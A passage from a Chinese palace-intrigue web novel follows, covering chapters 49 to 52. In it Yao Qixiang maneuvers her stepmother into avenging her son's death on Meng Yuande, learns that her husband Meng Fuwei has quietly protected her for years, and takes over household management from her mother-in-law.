姚戚香也只是等着,她并不畏自己成了孟扶危的棋子,她只担心孟扶危会大乱她真正的计划。 半晌,孟扶危开口:“孟家所有人,无人值得我如此。” 第49章 第49章 孟元德必须死 这句话, 怎么倒像是在说,他这番完全是为她做的? 姚戚香不敢这样笃定,不过她眼下并没有心思去理这些朦朦胧胧的事情, 一门心思都放在孟元德的事上。 孟元德要是这回没死成, 那黄琬那边可就糟了。 这一夜一直等到天亮,殿前司那边才传来消息——孟元德写下的诗大逆不道,罪当问斩, 然而看在其是孟氏嫡子, 又未及冠的份上,改为了廷杖,杖六十。 这判决一下来,殿前司将围府的人也撤走了, 只等着三日后行刑。 看来, 她这公爹只怕是已经拿着金牌去求过情了。 六十怎么够呢?六十杖可死不了人。 姚戚香沉默了一会儿,让茗玉备车准备去姚家,应对此事,她还留了后手,但究竟能不能奏效就难说了。 她是天刚亮就过来的,没有如上次那般直闯, 而是让门房的人去通禀了姚家主母, 得了邓穗音首肯,她才被请到正厅坐着。 姚戚香是专挑这个时间来的, 姚振廷去上朝了,不在府上, 而邓穗音也没理由不见她。 她等了差不多一刻,邓穗音才姗姗来迟,她瘦得厉害, 脸上都快皮包骨了,显露出比往日更甚的刻薄来。 “真是稀客。”邓穗音进了屋,冷冷阴阳怪气。 姚戚香也没耐心跟她兜圈子,她开门见山:“你不会真以为姚太初是自己寻衅才被打死的吧?” 邓穗音显然愣住了,她那双漆黑的眼睛在听到这句话之后,少见而久违地亮起了几分光。 “你说什么?”她恍惚地问。 “姚太初,你想知道他是怎么死的吗?”姚戚香坐在一旁表情淡淡,“当时阿大不在他身边,这其中的内情,我可是费了好一番功夫才打问到的。” “怎么死的!”邓穗音急急问,她的声音因为激动甚至嘶哑起来,激动地像是要扑过来掐住姚戚香一样。 姚戚香不卖关子,开口:“他去青楼招妓,看上了孟元德常点的姑娘,两人在房中被孟元德当场撞见,这才被打死了。” 她一边说,一边观察着邓穗音的神态,她并不心慈手软,说完了大概,还要细细形容起来:“听说,太初当时连滚带爬被踢下了楼,摔得头破血流,他连发生了什么事都不知道,只一个劲跪在地上求饶,周围的人看他是个傻子,便只站在一旁瞧热闹,孟元德哪里肯手软?亲看着手下将他活活打死了。” 听到这里时,邓穗音已经在浑身发抖。 姚戚香火上浇油:“听说啊,太初临死前,一直躺在地上喊娘,血流了满脸,别人却全在笑话他。” 邓穗音身上抖得厉害,她紧咬着牙,脸上不住滑下泪来。 这是姚戚香第一次觉得,邓穗音也是一个活生生的人,她的痛苦就这样不加掩饰地暴露在自己面前,她分明可以嚎啕大哭,却还要极力隐忍。 姚戚香说不好自己此刻的心情,她原本觉得,自己看到这样子的邓穗音,应该是会十分快意的,可她此时看着邓穗音,心里却只有平静,除此之外没有丝毫波澜。 她就这样平静地等了一会儿,等邓穗音流干了泪,极力从自己崩塌的理智中找寻回一丝从容来,然后向她开口:“你告诉我这个,是想干什么?” 姚戚香面上带着礼貌的微笑,说道:“明人不说暗话,你想为姚太初复仇吗?” “就那么不体面死在了所有人面前的姚太初,还是被活活打死的,他的五脏六腑都出了血,而孟元德这个元凶甚至连一点皮都没破,逍遥法外至如今,这究竟是为什么呢?” “因为姚振廷那个黑了心肝的东西!!”邓穗音声嘶力竭,“竟然拿我儿子的命去换他的青云路!” 姚戚香:“你怎知,这不正合了父亲的意呢?你难道真的不知,这么多年来,他有多厌烦姚太初这个儿子吗?一个不能给他带来任何体面,反而是耻辱的傻儿子,说不定他早就想除掉了。” 邓穗音的双眼冷得像一把刀。 姚戚香继续:“不过,横竖雪姨娘已经怀了儿子的,你说,父亲是什么时候知道自己又有了个儿子的呢?” 她的一番话引导意图很强,就是想让邓穗音认为姚振廷是故意想让姚太初死,反正他已经知道自己将要有一个儿子出生了,那么死一个傻的,还能为自己铺路,何乐而不为? 就算这番话无凭无据,可一个心怀怨恨的人,本来就没有理智可言,今日她所说的这番话,邓穗音之后每次想起来,都会更加相信一分。 “你到底想说什么?”邓穗音直勾勾看着她。 自从姚戚香出嫁,邓穗音觉得自己和这个继女之间,关系仿佛复杂了很多,她从前恨毒了姚戚香,恨不得她马上死,可现在回头一想,她对姚戚香加起来的那些恨,都抵不过今日恨姚振廷。 邓穗音从没想过,她用心经营了一生的婚姻,今日会成这般模样。 “我只是来告诉你一声,孟元德谋逆,被判了六十廷杖,这刑罚死不了人。”姚戚香笑,“母亲,您能让他死吗?” 闻言邓穗音短促地皱了下眉,似是在分析姚戚香刚刚说的那句话,而后她的眉心慢慢展开,目中露出思索。 “你为什么想要孟元德死?” “他是孟家嫡子啊。”姚戚香道,“留着说不定会挡我夫君的路,眼下既然有个不错的机会能除掉,为什么不除呢?” “不过此事终究还是你自己考量。”她补充,“毕竟我夫君前程锦绣,一个孟元德这般的废物也不能真挡了他去,我就是觉得此人碍眼。” 邓穗音真的开始考虑这件事的可能性,她无一日不想为儿子复仇,那是她十月怀胎,险些难产才生下的亲骨肉。 “是呀。”姚戚香轻声说,“自己的孩子死了,当爹的不伤心,难道娘也这样吗?” “孟元德三日后就要行刑了,你仔细想想吧。”姚戚香起身走了。 她就是将自己在利用邓穗音明明白白地说出来了,可就算如此,邓穗音发现自己也恨不了她,她甚至还有些感激她…… 她像一个土埂木偶一般生在这深宅大院之中,有谁还记得她的儿子呢? 接近中午,姚振廷下朝回来了,自从两人日渐离心之后,他几乎再也没登过邓穗音的门,今日下朝,他罕见地来了邓穗音房里,告诉下人要留在这里吃饭。 “老爷。”邓穗音面无表情地称了一声,可笑在这个时候,她心里竟然还有一丝期盼,假如姚振廷终于心有悔意,来向她忏悔呢? 直到在吃饭的时候,姚振廷隐隐晦晦向她探问今日姚戚香是不是过来了,同她说了些什么,是不是又带了她婆母的话来的时候,邓穗音竟然在这个男人脸上看到一丝讨好。 她简直想笑,她太想笑了,从前她以为会在自己儿子、自己女儿身上得到的待遇,如今竟在姚戚香身上得到了,姚振廷在为了探听消息,而讨好她。 邓穗音只感到恶心。 “没说什么,只是说她刚巧路过,进来看看。”邓穗音冷淡地回应着。 “真没说?”姚振廷追问。 “怎么?”邓穗音放下筷子,“老爷如今连我说的话都不信了?” “哦。”姚振廷又若无其事地低下头吃饭,倒像是邓穗音在无理取闹一般。 吃了几口,他起了身,道:“我出去转转。” 说话间便走了。 邓穗音坐在屋里,自己吃,桌子上的菜吃了一半,吃着吃着,她眼里突然簌簌流下泪来,流了满脸。 三日的时间匆匆而过,在这期间,常秋兰坐立不安,使了好多法子让孟元德减刑,但是都无济于事。 直到去观刑那日,姚戚香都没见邓穗音有什么举动,她不禁失望起来,看来她得想别的法子弄死孟元德了。 可谁曾想,她前往观刑的半道上,竟听见有人在敲登闻鼓喊冤。 “求天家为我做主!孟元德故意打死我儿,蓄意行凶,孟家事后以高官贿赂我夫,我儿平白冤死不得澄清,求天家做主!” 邓穗音穿戴周全,用力击打着鼓面,身后是被捆绑结实的人证阿大。 这个时辰,正是群臣上早朝的时候,政殿内无论是陛下还是大臣,必然都听得到这鼓声。 姚戚香安心下来,至少这趟姚家,她没有白去。 走在她前头的常秋兰纳闷:“这是何人在敲登闻鼓?” 姚戚香不语,只跟在后面慢慢走着。 不急,邓穗音被接见、陈情,再查到孟元德头上,那得好些时候呢。 邓穗音跪在登闻鼓前,等了足足一个时辰,此案才被正式纳入大理寺查验,朝堂之上,姚振廷的脸黑得宛如锅底一般。 此事说来也不复杂,当初销案是因为苦主主动放弃,大理寺的人自然也没往下查,一来是他们没那么多闲工夫,二来,谁也不想得罪孟氏。 可如今既然闹起来了,该走的流程走完,青楼的曼荷和姚太初身边的阿大无疑成了最铁的人证。 曼荷一介青楼女子,虽会些察言观色的本事,但在审理官面前还是藏不了几分便露了怯,一一将当日的事和盘托出,知道得比阿大还详细,部分口供和阿大也对上了,确认是事实无疑。 整个案子从审理到结束,甚至连一天的时间都没用。 景成帝震怒,下令将孟元德的廷杖改为九十,此案便结了。 筋疲力尽的邓穗音站在宫门口,凄然跪地下拜,嘶声喊道:“臣妇拜谢圣恩!” 第50章 第50章 我们见过,你不记得了…… 此案一锤定音, 姚振廷的升迁自然也泡汤了,孟元德行刑那日,她特地前往观刑。 殿前司的人一看就没怎么折磨孟元德, 他出来的时候脸上连块皮都没破, 被扒了外衣,只穿了件白色的中衣,赤着脚, 一看见常秋兰便吓得跪下哭嚎:“娘!您救救我娘!您救救我!” 常秋兰面色灰败, 只是别开了眼。 很快,孟元德被人拖走,架在了板子上,板子一边高高抬起, 数十杖一下下打在孟元德身上, 发出沉闷的声音,混合着孟元德杀猪般的惨叫,眼瞧着他后背渐渐出了血,见了红,惨不忍睹,而姚戚香忍不住勾起了唇。 多好看的场面, 打到后面的时候, 孟元德后背上甚至能溅出血水来,常秋兰紧咬着牙在哭, 突然她像是意识到什么,猛然朝着姚戚香看了过去, 却见姚戚香眼角流下一滴泪来,不忍目睹般侧过了身。 常秋兰心头升起的那种怪异感又慢慢消散了。 打到第五十杖的时候,孟元德吐了血, 好长一口血喷溅而出,血点簌簌落下,真是好看。 姚戚香笑出了声,她刚笑了两声,就在常秋兰转身看她之前转过了身,装作体力不支的样子要茗玉扶着上了马车。 “去打发人买桐子记的烧鸡。”姚戚香弯眸,“我要吃热热的。” “是。”茗玉轻笑。 姚戚香提早回了,她实在没心情看孟元德最后被打成血肉模糊的样子,那边哭声和叫喊声响成一片,可真是吵。 茗玉去沏茶了,姚戚香忽然想去厨房瞧有没有吃的,便独自过去了,谁知走到半路,听见隔墙传来几句话。 “红绡,听说你前次出任务又杀了十几个,你这刽子手可真的当之无愧啊。” 是天禄的声音,姚戚香下意识屏住了呼吸。 紧接着红绡道:“你眼红就直说,知道我拿了多少人头费吗?” 姚戚香眨了下眼,红绡与天禄……认识? 那她…… 姚戚香脑子里突然升起一个念头,红绡会不会也是孟扶危的人呢? 那边还在说话。 天禄:“多少?说出来吓死我。” 红绡:“够买你这条命了。” 两人的谈话听上去格外熟稔,绝对不是近期才相识的。 前些时候出任务?那不就是红绡跟她借口要回家相亲的时候吗? 红绡骗她的。 看来,她被蒙在鼓里的远不止她发现的这些,是孟扶危费尽心机将红绡送到了她身边,竟还给她当街演了一出捉贼的戏码。 姚戚香没有出声,也没有再到厨房去,而是听见隔墙外那两人离开了,她才转身往回走,回去的时候茗玉正在屋里,刚沏好了茶。 “孟扶危今日什么时候回来?”姚戚香问。 茗玉回过身:“下午便回,娘子有事要找公子吗?” 姚戚香摇了摇头,“没什么,我只是问问。” 她站在桌边,倒了盏热茶,然后一口气全都喝了下去,她感觉自己越来越看不懂孟扶危了,若之前的事都可以算是想要利用她,那红绡的事又算什么? 姚戚香深知自己,她这样的人,不值当身居高位的孟扶危如此费心,只要他愿意,轻易便能找比她更有玲珑心思、更合适的女子来利用,没必要非得是她。 她没有找红绡问话,都到这个份上了,还不如直接跟孟扶危谈。 过了一个时辰,被她留在刑场那边的半夏过来回话,说行刑结束了,孟元德被立马灌了参汤吊命,但已经只有出的气没有进的气了,人已经被带回了松风堂。 “嗯。”姚戚香点了点头,这件事大致算尘埃落定了,她也没了多大兴趣,眼下,她更在乎的是晚上要如何跟孟扶危谈。 接近吃晚饭的时候,孟扶危才回来,他看上去面色深沉,与往日的模样有着细微不同。 姚戚香不禁问:“出什么事了?” 孟扶危:“成王起兵了。” “什么?”姚戚香意外,这么突然,“那岂不是京中要危险了?你不会受牵连吧?” 孟扶危摇了摇头,道:“这些都还是未知之数,他从益州出发,一路招兵买马,大约一月可到京城。” 姚戚香哽了哽,她怎么觉得她要问的话,跟这件事比起来,好像又不是那么要紧了。 “先吃饭吧。”她道。 饭桌上,孟扶危倒是没有再提成王之事,孟元德那边的事想必他已经知晓了,姚戚香也没有再提及,只是等两人沐洗完,回了房后,姚戚香看着坐在床边的孟扶危,欲言又止了好几次,还是决定问出来,否则她今晚都要睡不着了。 “红绡是你的人?”她问得直接,目的就是想看孟扶危的反应。 可孟扶危的反应稀松平常,他先是“嗯”了一声,又道:“你怎么发现的?” 看见他这个样子姚戚香简直瞠目结舌,这人怎么一点也不见心虚的,哪怕一点点都没有。 “……”姚戚香都要气笑了,他凭什么这么气定神闲? “你甭管我是怎么发现的,我只想问,你这样绕着弯子给我送个人过来,为的是什么?何不直接送呢?” “我送了。”他道,“三个,显然都不如这个中用。” 姚戚香愣了一下,随即反应过来,是啊,她这院子里的茗玉、半夏、春月,不都是他给的人吗? “所以,你是想用红绡赢取我的信任?” 孟扶危:“也可以这么说吧。” 姚戚香简直不知道要说什么了,这样一来,她在孟家做的那些事,所有事,全部的事,孟扶危岂不是都知道了?她尚且以为两人多少还隔着些,没想到只是她看孟扶危才隔着,在孟扶危这里,她早就什么老底都没了。 可红绡这个人,又的确很是好用,她几乎什么事都能办得成。 “之前红绡外出,是你派去的?”姚戚香又问,她心里憋着一股气,真不想跟孟扶危说话了,可这些事又必须问清楚。 “嗯。”孟扶危倒是知无不言,“那段时日你刚好得闲,用不上她。” 姚戚香回忆了一下,那阵子她的确没有能用得上红绡的地方。 “她是去做什么?” “杀人。”孟扶危答得直白,“我让她去杀成王。” 而这刺杀显然是失败了的。 见他如此坦白,姚戚香又不知道说什么了,说他瞒着她吧,他又知无不言言无不尽,说他坦诚相待吧,她不问,他就永远不说。 姚戚香沉默了半天,她没办法因此事跟孟扶危发脾气,只能自己生闷气罢了,她一个在这里处处都要倚仗孟扶危的,有什么资格质问他呢? 此事也就只能轻轻揭过罢了。 “我实在不明白,孟司使这样做的目的究竟是什么。”她道。 她这个称呼落入孟扶危耳中,他皱了下眉,随后才道:“看来你是真的一点也想不起来了。” “姚戚香,你我多年前见过,你不记得了。”他转过身来,如墨的双眸中仿佛噙着丝幽怨。 姚戚香怔了怔,随后摇头否认:“这怎么可能?你一定是认错人了。” 她这些年就没出过姚家的门,唯一出去的几次,不过是跟着邓氏去赴宴,匆匆去了又匆匆地走了,除了一个宋世安,她谁也没有遇见过。 孟扶危却道:“更早。” 说罢,他弯身,从床底拿出那个木头盒子来,轻轻打开,露出里面放着的一对头绳。 “这是你的,你忘了?” 姚戚香双目圆睁,心中更加莫名其妙了,看着盒子里的东西怀疑道:“我的?” 她怎么不记得自己拿头绳送过人? 孟扶危深吸了口气,看来她还真是忘得一干二净了,亏他之前还以为,她看到这个头绳的时候就已经想起来了。 “你六岁那年,跟着你母亲,在跟西城一个中药铺旁的一个小摊贩买糖,你记不记得你给过一个人银子,还替他包扎了伤口?” 姚戚香有些怔愣,她发现,这些原本应该是毫无印象的事情,在经过孟扶危叙述后,她脑中竟然有了那么一点模糊的残影。 “是冬天吗?”姚戚香的记忆十分模糊。 “嗯。”见她终于有些印象了,孟扶危眼神都放松不少,“那人是我。” 姚戚香寻思了半天,印象突然加深了。 “不对,我记得那人很是落魄呀,怎么会是你呢?”她想起来了,她是给一个人钱,也给一个人包扎了伤口,可她连那个人的脸都没记住,只记得那人似乎穷困潦倒。 大冬天的,他穿得很是单薄,脚踝处全是青紫的冻伤。 这下,姚戚香全想起来了,的确是有这么一件事,她只记得那人是个男的,穿着蓝色的长衫,她以为是个乞儿,便给了他钱,又见他脚踝有冻伤,便给他包扎了一下,而用来包扎的正是她的头绳,只是她不记得究竟是哪一对了。 可这个人怎么会是孟扶危?他可是孟氏的长公子啊,孟氏是什么门庭,就算是十多年前,也不至于让孟扶危落魄成那样。 “是我。”孟扶危垂眸,“那年宫中生变,我被送回孟氏老家,得知母亲出事,我私逃了出来,一路跑到了盛京,谁知孟家的人,竟不认我。” “……为什么?”姚戚香不明白,“是……孟祁柏不认你?他怎么会不认你呢?” “我不知道。”孟扶危沉默了一瞬,“这个问题我想了多年,到现在也不明白。” 不过,他已经不在乎了。 姚戚香愣了半天,一边消化着今晚上发生的所有事,一边嘀咕了一句:“会不会……你根本不是亲生的?”【你现在阅读的是 】 50-60 第51章 第51章 夺得管家之权 关于这个问题, 孟扶危并不是没有想过,可他还是下意识否决了:“我娘……不会做出这种事。” 就算孟祁柏究竟是不是他爹这一点存疑,但他的母亲总不会错, 孟扶危坚信, 如母亲那般坚毅的女子,断然做不出与他人苟合之事。 况且,就算他真的不是, 为何孟祁柏那边并不曾戳穿, 直接将他除籍不就好了?为何始终都没有这样做呢?而是非要寻些什么理由,冠冕堂皇地将他赶出孟家。 姚戚香也意识到自己这话说得不对,尴尬道:“我也就是随便猜猜。” “……阿香。”孟扶危忽然这样叫她,他叫得有些生涩, 姚戚香甚至能从这两个字中, 听出一丝不好意思来。 “那次之后,我本想答谢你,只是等我回到孟家,有能力去做的时候才发现……”他的声音顿了顿,“发现你在你继母手下活得很是艰难,我无法将你带出姚家, 也无法插手姚家的事, 便只能暗中让人守着你。” 他又默了瞬,其实一开始, 他并未生什么心思,那个时候护着姚戚香, 对他来说不过是举手之劳。 可是渐渐地,听着手下人事无巨细地禀报她的事,说起她吃了什么, 做了什么,说起她的性子,说起她是如何与那继母周旋,如何反败为胜,如何肆意妄为,姚戚香这个人,就好像活在了他眼前一般。 姚家的人一直都没有撤回来,他守了她差不多五年,偶尔会亲自去看一眼她,这些年来她做了些什么,经历了些什么,有了哪些变化,他比姚戚香自己还要清楚。 直到他忽然发现两人的年岁已经长成,探听到她的继母有心将她嫁出去,于是孟扶危便生出了一个很强烈的念头——他想娶姚戚香。 娶回孟家,由他自己护着。 她不信任他,他便不明目张胆地逼迫她,让她自己用她熟悉的法子在这孟家生存,只有这样,她待在这里才会更加安心。 “娶你,是我心甘情愿的。”他郑重说出此话,“不是算计,也没有什么阴谋,就只是想和你做夫妻。” 姚戚香听着,她有些怔愣,她脑中第一次这样一片空白,宛如停滞了一般,她一点也不知道自己要回复孟扶危什么,只能无措地坐着。 可她又明显感觉到,她心底是藏了几分窃喜的。 她在庆幸,其实往日里她猜疑的那些,不全是假的,只是她以为孟扶危心仪的另有其人,便从不敢往这边想。 话都说完了,至少孟扶危觉得,他把能说的都说完了。 姚戚香憋了半天,开口:“那你岂不是早就知道我是个什么人?” 亏她在孟扶危面前,还时常端着……可孟扶危早就知道她的所有事了。 “嗯。”孟扶危点头,无比认真道,“你自然是个很好的人。” 姚戚香险些笑出声来。 她尴尬地摸了摸鼻尖,尝试道:“……睡吧?” “嗯。”他又应了声,自去熄了灯,姚戚香则躺进内侧闭上眼睛。 孟扶危心仪之人竟是她啊……那…… 姚戚香想起一事,她看着孟扶危也上了床,躺在了她的身侧,思来想去,忍不住问:“倘若你说的是真的……那那天晚上……怎么没圆房?” “哪天?”孟扶危问,他们有几次险些都要圆房了,可他自姚戚香的表情中看见排斥,他便没有勉强。 “新婚之夜。”姚戚香道,“成亲那天晚上,你坐在那儿一言不发,究竟在想什么?” 她跟孟扶危说了好几句话,他就是一个字都不往外蹦,气死她了。 孟扶危:“……我在想,究竟该不该圆房。” “……”姚戚香无语了一阵,又想到那晚她是自己一个人睡的,“你觉得不该?” “没有……”他道,“我觉得该,回头看你的时候你已经睡着了。” 姚戚香:“……” 就这么一个问题,他究竟是考虑了多久? 姚戚香不禁回忆起那晚,半晌又想,好吧,她承认那天她是累着了,所以睡着得快了些。 似乎一切都说开了,既然如此,姚戚香也没有什么好瞒他的了,说不定一起商量着,她还能事半功倍呢。 半晌,姚戚香又道:“孟元德还没死吧?” “嗯。” “趁他没死,我想将掌家之权从常氏手中夺过来。”姚戚香道,“否则这要是死了,常氏悲恸之下,你爹万一不乐意……” “知道了。”孟扶危道,“明日你便去云栖堂吧。” “这么急?”姚戚香意外,这看上去实在有些像她演都不演了,直接开抢的样子。、 “无妨,我会施压。”他道,“主要是,孟元德撑不了几天了。” 姚戚香啧了一声,那确实应该赶快了。 第二日,姚戚香便来到了云栖堂,只是她见的不是常秋兰,而是孟祁柏,由于她这公爹时常不在府上,她还是叫人时刻盯着,好歹是在孟祁柏离府前将人给拦了下来。 “你有什么事?”孟祁柏对她的态度很是不耐。 姚戚香道:“公爹,眼下云栖堂出了这么大的事,婆母怕是心力交瘁,儿媳想接过婆母管家的担子,为家里出一份力。” 孟祁柏沉着脸没有出声,也不知是个什么态度。 姚戚香便道:“前脚咱们家才闹出谋逆的事来,若是眼下家里再出了什么乱子,那可不是一人之祸,而是孟家全族之祸了。” 孟祁柏仔细想了想,的确如此,这管家虽不是什么要紧的东西,但要是在这个节骨眼上出了岔子,闹不好要出大事。 这次他自己的儿子竟然闹出谋逆这样荒唐的笑话来,孟祁柏自觉丢尽了脸,可好歹孟元德捡了条命在,虽眼下情况还不稳定,可几碗参汤下去,元气好歹是吊住了,后续只能看郎中的本事。 他心焦如焚,想来常氏也没心力再料理旁的,再叫她管家,难保会有差错。 于是,孟祁柏道:“你说得也有几分道理,行,这段时间便由你掌管内务吧。” 见他撂下这句话竟是转身就要走的样子,姚戚香道:“对牌钥匙在婆母那儿,儿媳可不敢去讨,万一婆母觉得您轻看了她,非要勉强……” 这些家长里短的东西,孟祁柏听着就烦,他摆手道:“行了,我随你去她那儿拿。” 二人来到常氏屋里,说明了来意,本就面色苍白形容憔悴的常秋兰先是一愣,随后看着姚戚香冷笑起来。 “怎么?这就想要从我手里夺权了?” 姚戚香大为惊诧:“婆母这是哪里话!儿媳想尽一份孝心罢了,何况,公爹也觉得理应如此。” “行了。”孟祁柏道,“以后又不是不还你,只这段时间由她管教罢了。” 常秋兰皱眉道:“你可不知道这小妮子的本事,她……” “婆母。”姚戚香见缝插针,“之前您心力十足,眼皮子底下尚且出现女使勾引二郎的事,这件事才过去多久,二公子又出了这样的事,儿媳实在是担心您体力不支。” 上次,春竹与孟元德苟且的事,常氏为了自己的脸面,并未向孟祁柏提及,孟祁柏向来对内宅之事不感兴趣,是以从未问过,眼下被姚戚香这么一抖落出来,孟祁柏顿时皱紧了眉,看向常氏道:“什么?” 姚戚香继续火上浇油:“那腊月与二郎苟且已久,定是在您眼皮子底下两人便来往甚密,谁知道底下这些女使动的什么心思,谁又知道……二郎那首诗是怎么写的?二郎素来虽骄纵了些,但心底不坏,那种诗或是被什么人撺掇的也说不定。” 闻言,孟祁柏更是直了眼睛,他瞪着常氏:“那腊月不是你房里的人?你连自己的人都管不好?要不是你平日不好好管教儿子,如今哪里会闹出这些祸事来?连自己手底下的人都能出错,你还能管得住整个孟家?” 他摇着头,像是对常氏失望极了:“就家里这么点小事,你都给管成这样,你还能做得成什么?” 常秋兰的脸顿时铁青,她身为后宅主母,掌管了孟家这么多年,从未出过什么岔子。 这些年来,后宅中的风波,一大笔一大笔的钱财进出,大事小事桩桩件件,哪个不是经了她的手才稳稳当当? 她束下极严,下人们从未出过背主之事,也从未有过懒怠,腊月出事便是因着她对这丫头格外看重喜爱,这才放松娇纵了些,谁知竟养出个白眼狼来。 她真是没有想到,只因这一件事,她这么多年来的苦心付出,在孟祁柏口中竟什么也不是了。 常秋兰梗着脖子,她自想大声辩白几句,让孟祁柏好好看看,自己这些年究竟是如何为孟家操劳,可她做的事实在是太多了,突然要从中挑出几件够份量的,她又一时想不起来,宛如大海捞针一般。 孟祁柏懒得再因这些事纠缠,对下人道:“去把对牌钥匙交给姚氏,从今往后,这孟家就交给姚氏来管。” 他心里盘算得很清楚,眼下这个姚氏还能用得上,那就先用着,等将来元德娶了妻,再寻个由头让新妇管家就是了。 想到这里,他又想起常氏一直在给孟元德寻摸亲事,那黄家多好的亲事,拖拖拉拉到现在一直定不下来,若是这次元德出事,黄家能帮着求求情,说不定早没什么了。 他瞥了眼常氏,愈发觉得她无用。 姚戚香接过了一应器物,道:“多谢公爹、婆母信任。” 就在这时,有人跌跌撞撞闯了进来,嘶声喊了一句:“二、二公子不好了!” 第52章 第52章 李江不来了 闯进来的小厮慌慌张张, 险些撞到孟祁柏,孟祁柏怒道:“好好说就是了!慌什么!” 小厮跪在地上道:“主君!主母!二公子他……郎中说二公子快不行了!” 常秋兰一下子站了起来,神色匆匆往孟元德屋里去了, 姚戚香想了想, 也跟了上去。 她没有进去,只是站在外间,看见孟元德的几个通房站在外面哭, 便问:“二郎如何了?” “眼下已只有出的气没有进的气了。”女子哭哭啼啼, 一双眼睛哭得通红,不过,她倒不是在为孟元德哭,而是为自己今后的前程。 好端端的人, 怎么就要死了, 她已经做了孟元德的通房,以后还能有什么出路呢? 姚戚香愈发压低了声音,道:“你们这边的人,可有谁怀了身孕吗?” 女子摇了摇头:“没有,主母为了不影响二公子将来娶妻,都盯着人让我们喝避子汤药。” 这下姚戚香满意了, 她露出悲悯的神色, 看着女子道:“既然如此,那她恐怕不会留你们了。” 女子一愣, 眼神有些慌乱:“娘子这是什么意思?” 姚戚香:“我之前看见,婆母私下找过相师, 听见那相师说,二郎……这是意外之祸,若是人保住了, 那还好说,若是没有……二郎生前好色,还是找人陪他的好。” 女子脸色大变,这是要她们陪葬的意思? 孟元德的通房一共三个,模样看着都还很年轻,除了和姚戚香说话的这个,其余两个一个缄默不言,另一个不住打量着周围,面上不见一点伤心的模样。 说完了话,姚戚香佯装去看孟元德的情况往里面去了,没有再给女子问话的机会,等进到里屋的时候,郎中已经在给孟元德扎针了。 这个时候,她在常秋兰的脸上,难得见了几分悲苦与彷徨,甚至双手合十地求着郎中,求他救救自己的儿子,相比起来,孟祁柏就沉稳多了,一言不发坐在一边,仿佛事不关己,又要时不时叹一口气。 姚戚香好奇,这世上是不是所有爹都不在乎自己儿子的命,比起儿子,他们或许更加在意自己的脸面、前程…… 她没有出声,只站在一旁默默看着,孟元德现在是个什么模样她瞧不见,她离得远,等了差不多有半个时辰了,终于听见里面的郎中说了一句:“二位见谅,我已回天乏术了。” “郎中先生!求你,我求求你,再救救他!再救救他啊!”常秋兰瞬间落下泪来。 姚戚香在旁看着,竟瞧见一直事不关己的孟祁柏也红了眼眶,拉着郎中问:“可是有什么疑难之处?若有需要的药材,您尽管吩咐……” 郎中再三摇头:“这些年,我看过的病人不在少数,想必二位自己也清楚,九十廷杖下去,有哪个能活命呢?即便是侥幸活着了,也不过是瘫痪在床,与废人无异了。” 听到这个份上,姚戚香便知孟元德的确是活不了了,她没有继续在屋子里待着,转身离开了,在走出孟元德的院子之前,她听见屋里传出一声恸哭。 刚走出云栖堂,姚戚香看到了孟扶危,他就站在不远处,一副了然的样子,好像知道她什么时候出来似的。 “你怎么来了?今日不用去东宫?”姚戚香快走了几步,走到他身侧。 “嗯。”孟扶危垂眸,看见后面茗玉手上捧着的装对牌钥匙的盒子,道,“看来你今日很顺利。” “是呀!我也没想到,这老夫妻竟然是个经不起挑拨的,我随便说了两句,公爹便让婆母把管家权交给我了。” 顿了顿,姚戚香又补充:“就像我爹和邓氏一样。” “你说,这世上的夫妻做到最后,是不是都是这样?”姚戚香随口一问,这个问题,她其实并没有放在心上,因为她其实并不在乎,色衰爱弛,相看两厌,这些不过是再正常不过的,就算是她和孟扶危最后变成了这样,她也不会觉得惊讶。 人年少时候的爱慕之心,真的能成全一辈子吗?姚戚香觉得不见得,等真到了那个份上,再见招拆招便是了,人生在世,还是不要对别人生出太多指望的好。 自从她嫁给孟扶危,他的确给了她许多方便,许多从前从未有过的体验,许多包容和周全,姚戚香心里感激他,但也不会因此就指望他今后都这样对她。 她随时准备着失望而归,而只要她的希望一小再小,这种失望也会变得微乎其微。 “绝大多数,确实如此。”孟扶危道,他本可以将回答说得漂亮一些,但想了想,又觉得她大抵也是不信的。 孟扶危:“寻常夫妻,做到互不算计,便已很好了。” 姚戚香愣了愣,想了想姚振廷和邓氏,又想了想常秋兰与孟祁柏,似乎都无法做到,而就算是她的娘和姚振廷,两人也是无法做到的。 人若为私,怎会不算计呢?难道她就没有算计过孟扶危吗?有的吧…… 自从她嫁来孟府,桩桩件件,不都是在算计吗? “之后呢?你要如何?”耳边又响起孟扶危的询问声。 “什么?”姚戚香回过神,“自然是……将常氏在府中的那些心腹遣散瓦解呀,等到时候……” “我没问你这个。”他道,“姚家,你要如何?” “我没想到能这么快就拿到掌家之权,我还以为……少说也要花几年呢。”姚戚香垂眸,“眼下,我有一条捷径可以走。” “什么?” 姚戚香觉得告诉孟扶危也无妨,反正就算她不说,他也有办法知道。 “邓氏的儿子虽然死了,可她还有个女儿,女儿的婚事没有定下,若我搅扰一番,她必会来求我。”姚戚香道。 现今她既然已经拿了孟府掌家之权,很多事便不一样了,孟府的人情往来,交际应酬,就必须有她的存在,一有存在便有了牵扯,她只需略给些好处,随便就能为难一个五品之家。 姚戚香也就更加看清,自己居然能嫁到孟家来,这是一件多么不可思议的事,怪不得她出嫁前夕,引起了京城那样的议论。 而且,若非如此,很多事她都无法做得这样便宜,只怕要三年五年,甚至十几年,她才能做成自己想做的事。 “嗯……”孟扶危顿了顿,缓声道,“我给云栖堂备了份礼,送不送,由你。” “什么?”姚戚香道。 “孟元德的棺材做好了。” “啊、啊?”姚戚香一怔,忙摆摆手,“不至于,这可不至于!” 孟扶危有些意外,依照她的性子…… 姚戚香转而道:“棺材你留着,回头我送姚家。” 孟扶危放心了。 几乎是他们刚回了松风堂,府里就传遍了孟元德没了的消息,孙月瑶匆匆赶来,问姚戚香这事是不是真的。 “自然是真的。”姚戚香晃了晃手中的对牌钥匙,“这是我今日刚拿到的。” 孙月瑶眼前一亮,“有了这个,以后不就方便多了!” 姚戚香望着她会心一笑:“嫂嫂,你想什么呢?” 孙月瑶脸色一赧,道:“我可什么都没说。” 姚戚香算了算日子,开口:“哎,上回他来,已经是半个月前了,这阵子,你二人为何见得这样少?” 说起此事,孙月瑶也愁,她懒懒道:“戏班子又给他排了新戏,他一时走不开,只能紧着那边。” 这样的说辞,姚戚香俨然是不信的。 “戏班子才给他几个钱?他在那儿待上一个月,赚的钱都不如多来你这儿几次,这话你信了?” “什么?”孙月瑶一下子坐起身,似乎也觉出不对来,“那、那怎么办?难道是他烦了腻了,就算拿钱也不愿意来了?” 姚戚香想了想,总觉得不至于如此,就算这二人相处得再不如意,可孙月瑶是个美人,就冲着她这张脸,那李江也不能撇下这事不干。 